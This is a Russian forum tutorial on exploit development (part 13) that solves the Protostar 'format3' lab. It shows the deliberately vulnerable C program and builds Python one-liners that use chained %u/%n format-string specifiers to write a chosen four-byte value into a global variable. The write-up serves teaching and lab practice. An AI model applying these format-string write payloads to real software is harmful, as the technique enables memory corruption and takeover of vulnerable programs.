• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13

fuzzz

fuzzz

Grey Team
03.02.2019
171
298
Доброго времени суток, посетители портала codeby. Продолжаем разбирать уязвимости форматных строк. И так предыдущей статье мы ознакомились с перезаписью глобальных переменных, на этот раз мы будем так же перезаписывать глобальные переменные к конкретному значению. Но при этом более тщательнее контролируя данные которые хотим записать.

Описание ExploitMe
Это более продвинутый уровень переход от формата2, он показывает, как записать в память процесса более 1 или 2 байта памяти. Это также учит вас тщательно контролировать, какие данные записываются в память процесса.

Этот уровень находится в / opt / protostar / bin / format3

,

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
 
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
Решение

И так посмотрим на исходный код данной нам программы.

Как видно нам это задание похоже на Format2, за исключением того, что код оброс дополнительной функцией, а так же теперь нам надо будет точно контролировать данные которые мы будем записывать, потому, как изменилось условие в конкструкции if, и теперь наша цель состоит в том, чтобы глобальная переменная target стала со значением 0x01025544. И так приступим.

Начнем всё так же с поиска начала входной нашей строки…

Код:
python -c "print 'AAAA' + '%x.'*100" | ./format3
Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Отлично мы нашли начало нашей входной строки. Теперь нам нужно узнать адрес нашей глобальной переменной target в памяти. Можно воспользоваться всё так же objdump + утилитой grep, но на этот раз я воспользуюсь отладчиком GDB.

Код:
gdb -q ./format3
print &target
q
Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Адрес переменной target мы получили «0x80496f4», теперь попробуем записать что-то в переменную для теста.

И так… В место строчки 'АААА' положим адрес нашей переменной. К тому же наша входная строка лежит 12 по счету.

Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Значит будет использовать '%x'*11, а за тем добавим спецификатор формата '%n' для записи.

Код:
python -c "from struct import pack;target=pack('I',0x080496f4);print target + '%x'*11 + '%n'" | ./format3
Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Очень хорошо мы добились своего. Мы успешно можешь записывать данные в переменную target.

Взглянем еще раз на условие в задаче

C:
...
if(target == 0x01025544) {
...
Наша переменная должна принять значение «0x01025544», а после теста наша переменная стала равна значению 0x00000041. Мы поменяли первый байт (последний). Следовательно нам нужно поменять второй, третий и четвертый байт. И всё это дело привести к значению «0x01025544».

Чтобы стало ясно, что к чему запустим отладчик GDB и посмотрим теперь уже не адрес в памяти самой переменной target. А посмотрим расположение других байтов в памяти их адреса, относительно адреса target, т.е. адреса следующих ячеек памяти.

Код:
gdb -q ./format3
x/b &target
Enter
Enter
Enter
Enter
q
Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Видно и сразу становится ясно, что (последний) первый байт это «0x80496f4», так, как именно этот адрес мы использовали для записи в переменную target это начальный адрес глобальной переменной target, то, есть адрес первой ячейки в памяти, второй байт это адрес «0x80496f5», третий байт это «0x80496f6» и четвертый байт это адрес «0x80496f7».

Получается что если представить память переменной target из четырех ячеек памяти по байту, расположение адресов будет выглядеть следующим образом

Код:
FF|FF|FF|FF -> 0x80496f7|0x80496f6|0x80496f5|0x80496f4
С помощью строк форматирования мы можем использовать разные адреса один за другим в стеке и использовать несколько %n параметров для записи в младший значащий байт каждого адреса в последовательности.

Например, мы можем записать все 4 байта в target.

Адреса у нас есть, поэтому составим эксплойт.

Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); print b1+b2+b3+b4 + '%x'*11 + '%n%n%n%n'" | ./format3
Проверяем


Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Как нам видно, мы записали каждую ячейку памяти. То, есть все 4 байта.

А для того, чтобы контролировать значение, которое записывается для каждого отдельного байта, мы используем спецификатор формата %u. То, есть пишем нужное подобранное нами число и ставим этот спецификатор формата перед спецификатором %n.

Выглядит это так %1337u%n

Но прежде, чем мы поместим спецификатор %u перед каждым спецификатором формата %n, нам нужно будет подкорректировать нашу входную строку, так, как каждая комбинация из спецификаторов %n и %u выталкивают стек. И произойдет вот такая вот ситуация.

Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Чтобы избавиться от этого и решить данную проблему добавим перед каждым адресом такую последовательность байтов 0x01010101 в нашей входной строке.

И так модифицируем наш код, добавив перед каждым адресом по четыре байта из 0x01, а так же добавим спецификатор формата %u перед каждым спецификатором %n.

Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x'*11 + '%u%n%u%n%u%n%u%n'" | ./format3
И посмотрим на результат

Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Видно, что глобальная переменная target стала со значением 7d756d65 и мы не получили Segmentation fault…

Теперь надо рассчитать значение для каждого спецификатора %u , чтобы последовательно записать четыре байта для глобальной переменной target. Можно сделать это несколькими способами, к примеру можно это все дело подсчитать через отладчик, так же методом подбора, а можно написать функцию, которая будет делать все за нас, изобретать ничего не будем, я нашел этот велосипед — функцию на Python из одного блога которая, нам и позволит рассчитать эти значения.

Python:
def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    return padding
Код достаточно понятный. Поэтому его можно переписать на любом другом языке…

Собственно функция работает так, в первый аргумент функции to_write записывается, то значение, которое мы хотим записать. Наша цель это значение 0x01025544, соответственно с начало будет 0x44, 0x55, 0x02, 0x01.

Во второй аргумент функции передаем кол-во байтов. Сейчас поясню, что это за байты.

Помните, когда мы впервые попробовали запись во все 4 байта в глобальную переменную targetи у нас вышло, что переменная приняла значение 0x4d4d4d4d. Так вот мы записали в каждую ячейку память 0x4d. Так же тут стоит вспомнить, что мы увеличили нашу входную строку добавив последовательность байтов из 0x01.

Четыре байта 0x01 для каждого адреса. И всего их 16. Поэтому во второй аргумент функции нам нужно передать сумму этих байтов. То, есть. 0x4d + 16.

Код:
calculate(0x44, 0x4d + 16)
А затем подставить во второй аргумент, предыдущий из первого. И таким образом мы найдем нужные нам значения.

Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Вычислили значения 231,17,173,255

Код:
python -c "from struct import pack;b1=pack('I',0x80496f4);b2=pack('I',0x80496f5);b3=pack('I',0x80496f6);b4=pack('I',0x80496f7); b5=pack('I',0x01010101); print b5+b1+b5+b2+b5+b3+b5+b4 + '%x'*11 + '%231u%n%17u%n%173u%n%255u%n'" | ./format3
Проверим

Уязвимости форматных строк и перезапись глобальных переменных с контролированием данных для конкретного значения, - разработка эксплойтов, часть 13


Отлично мы успешно справились с задание, теперь можно переходить на следующий !
 
Мы в соцсетях: